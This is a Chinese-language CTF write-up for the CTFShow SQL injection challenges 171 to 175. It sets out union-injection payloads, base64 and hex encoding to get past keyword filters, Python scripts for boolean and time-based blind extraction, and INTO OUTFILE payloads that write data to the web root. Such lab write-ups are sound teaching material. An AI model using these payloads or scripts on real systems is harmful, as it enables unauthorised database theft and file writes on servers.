CTFShow-web-vip/SQL 171-175(union注入)

CTFShow-web-vip/SQL 171-175(union注入)

本文档整理CTFShow-web-vip板块中SQL 171-175题的Union注入解题思路,涵盖基础闭合、联合查询、WAF绕过、bool注入、文件导出等核心考点,每道题明确考点差异与关键步骤,代码与结果可视化结合,便于理解与复现。

web 171:基础SQL闭合注入

考点

  • 单引号闭合与注释绕过
  • 排除条件username !='flag'的绕过

核心SQL语句(后端)

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 

解题步骤

  1. 闭合测试与逻辑绕过
    利用or逻辑覆盖username !='flag'的限制,同时用注释符--+(URL中可替换为%23)注释后续SQL语句:

    1
    2
    3
    4
    # 方法1:直接闭合+逻辑真
    ?id=1' or 1=1--+
    # 方法2:精准匹配flag用户
    ?id=-1' or username='flag'--+ # -1使原查询无结果,Union前需让主查询无数据
  2. 结果回显
    执行上述Payload后,页面会回显flag用户的usernamepassword,直接获取flag。

web 172:完整Union联合注入

考点

  • Union联合查询的完整流程(库→表→字段→数据)
  • 回显位测试与数据提取

解题步骤

1. 回显位测试(确定字段数与可回显位置)

首先通过Union查询测试当前表的字段数,确保Union前后查询字段数一致:

1
?id=1' union select 1,2,3--+  # 回显2、3,说明字段数为3,且第2、3位可回显

回显位测试结果

2. 查询数据库名

利用database()函数获取当前数据库名称:

1
?id=1' union select 1,database(),3--+  # 回显数据库名:ctfshow_web

数据库名查询结果

3. 查询目标表名

information_schema.tables中查询ctfshow_web库下的表,重点关注含flaguser的表:

1
2
3
?id=1' union select 1,database(),group_concat(table_name) 
from information_schema.tables
where table_schema="ctfshow_web"--+ # 回显表名:ctfshow_user2

表名查询结果

4. 查询目标字段名

information_schema.columns中查询ctfshow_user2表的字段:

1
2
3
?id=1' union select 1,database(),group_concat(column_name) 
from information_schema.columns
where table_schema="ctfshow_web" and table_name='ctfshow_user2'--+ # 回显字段:id,username,password

字段名查询结果

5. 提取flag数据

直接查询ctfshow_user2表的password字段(通常flag存于此):

1
?id=1' union select 1,database(),group_concat(password) from ctfshow_user2--+

flag提取结果

web 173:Union注入+编码绕过WAF

考点

  • 基础WAF绕过(针对flag关键词的过滤)
  • 编码函数(to_base64hex)在数据提取中的应用

解题背景

本题新增简单WAF,过滤flag关键词,但可通过编码转换绕过——将含flag的数据编码后回显,再解码获取原始内容。

解题步骤

1. 确认表名与字段

延续172题思路,先确定目标表为ctfshow_user3(字段仍为id,username,password)。

2. 编码提取数据(两种方式)

方式1:Base64编码

to_base64()函数将password编码,避免触发flag过滤:

1
?id=1' union select 1,database(),to_base64(password) from ctfshow_user3--+

Base64编码回显
将回显的Base64字符串(如ZmxhZ3t...)解码,得到flag。

方式2:Hex编码

hex()函数将usernamepassword转为十六进制,同样绕过过滤:

1
?id=1' union select 1,to_base64(username),hex(password) from ctfshow_user3--+

Hex编码回显
将Hex字符串(如666C6167...)转为ASCII,得到原始数据。

3. 直接绕过(可选)

若WAF过滤不严格,直接查询仍可能生效:

1
?id=1' union select 1,database(),group_concat(password) from ctfshow_user3--+

直接查询结果

web 174:Union+数字过滤→bool注入/文件导出

考点

  • 数字与flag关键词双重过滤(preg_match('/flag|[0-9]/i', json_encode($ret))
  • bool注入(基于回显逻辑判断)与outfile文件导出(直接写入结果)

解题思路

过滤规则限制:回显中不能含数字和flag,因此无法直接用Union回显数据,需用两种替代方案。

方法1:bool注入(二分法脚本)

通过if(条件, 'yes', 'no')判断数据的ASCII值,逐步爆破password

核心Payload
1
?id=0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'), {索引},1))>{ASCII值},'yes','no')%23
  • 0':使主查询无结果,确保Union结果生效
  • substr(..., 索引,1):截取password的第N个字符
  • ascii(...):将字符转为ASCII值,与阈值对比
  • yes/no:通过页面回显的“yes”或“no”判断条件是否成立
自动化脚本(Python)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

# 靶场URL(需替换为实际环境URL)
url = "http://2bcdcddc-836e-4202-89e5-b3ca157f43b8.challenge.ctf.show/api/v4.php?id="
# Payload模板:{index}为字符位置,{offset}为ASCII阈值
payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'), {},1))>{},'yes','no')%23"

def check_ascii(index, offset):
"""判断第index个字符的ASCII值是否大于offset"""
res = requests.get(url + payload.format(index, offset))
return "yes" in res.text

# 爆破flag(ASCII范围:32-127,即空格到~)
flag = ""
for index in range(1, 50): # 假设flag长度不超过50
start = 32
end = 127
# 二分法查找ASCII值
while abs(start - end) > 1:
mid = (start + end) // 2
if check_ascii(index, mid):
start = mid
else:
end = mid
# 确认最终ASCII值(处理边界情况)
final_ascii = end if check_ascii(index, end) else start
if final_ascii == 32: # 遇到空格,可能是flag结束
break
flag += chr(final_ascii)
print(f"[*] 当前flag:{flag}")

print(f"[+] 完整flag:{flag}")

方法2:outfile文件导出

利用into outfilectfshow_user4表的数据写入Web根目录(需知道绝对路径,如/var/www/html/),直接访问文件获取flag。

核心Payload
1
?id=1' union select username,password from ctfshow_user4 into outfile '/var/www/html/flag.txt'--+
  • 执行后,访问http://靶场IP/flag.txt,即可查看username=flag对应的password(即flag)。
  • 若提示“文件已存在”,可修改文件名(如flag1.txt)。

outfile导出结果

web 175:无过滤→文件导出/时间盲注

考点

  • 无显错+无过滤场景的注入方案
  • time注入(基于延迟判断)与outfile文件导出

解题背景

后端过滤规则:preg_match('/[\x00-\x7f]/i', json_encode($ret)),即回显中不能含ASCII字符(无法通过yes/no判断),需用时间延迟文件导出

方法1:outfile文件导出(推荐)

与174题方法2一致,直接将数据写入Web可访问目录:

1
?id=1' union select username,password from ctfshow_user5 into outfile '/var/www/html/flag5.txt'--+

访问http://靶场IP/flag5.txt获取flag。
outfile导出结果

方法2:time注入(脚本实现)

通过sleep(2)延迟判断条件是否成立,替代yes/no回显。

核心Payload
1
?id=0' union select 'a',if(ascii(substr((select password from ctfshow_user5 where username='flag'), {索引},1))>{ASCII值},sleep(2),1)%23
  • 若条件成立,请求延迟2秒以上;若不成立,无延迟。
自动化脚本(Python)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

url = "http://ad1eeadb-2500-4e99-a450-8a34b8b4445c.challenge.ctf.show/api/v5.php?id="
payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user5 where username='flag'), {},1))>{},sleep(2),1)%23"

def check_delay(index, offset):
"""判断第index个字符的ASCII值是否大于offset(基于延迟)"""
try:
# 超时时间设为1秒,若延迟则触发超时
res = requests.get(url + payload.format(index, offset), timeout=1)
return False # 无延迟,条件不成立
except requests.exceptions.Timeout:
return True # 延迟,条件成立

# 爆破flag
flag = ""
for index in range(1, 50):
start = 32
end = 127
while abs(start - end) > 1:
mid = (start + end) // 2
if check_delay(index, mid):
start = mid
else:
end = mid
final_ascii = end if check_delay(index, end) else start
if final_ascii == 32:
break
flag += chr(final_ascii)
print(f"[*] 当前flag:{flag}")

print(f"[+] 完整flag:{flag}")

总结(171-175考点对比)

题目 核心考点 关键绕过/方法 数据提取方式
171 单引号闭合+逻辑绕过 or 1=1/or username='flag' 直接回显
172 完整Union注入流程 回显位测试+information_schema Union联合查询
173 WAF关键词过滤 Base64/Hex编码 编码回显+解码
174 数字+关键词过滤 bool注入(yes/no)/outfile 二分法爆破/文件导出
175 无ASCII回显 time注入(sleep)/outfile 延迟判断/文件导出

核心思路:先判断注入点与过滤规则,再选择“直接回显→编码绕过→盲注→文件导出”的递进方案,优先使用outfile(效率最高),盲注作为备选。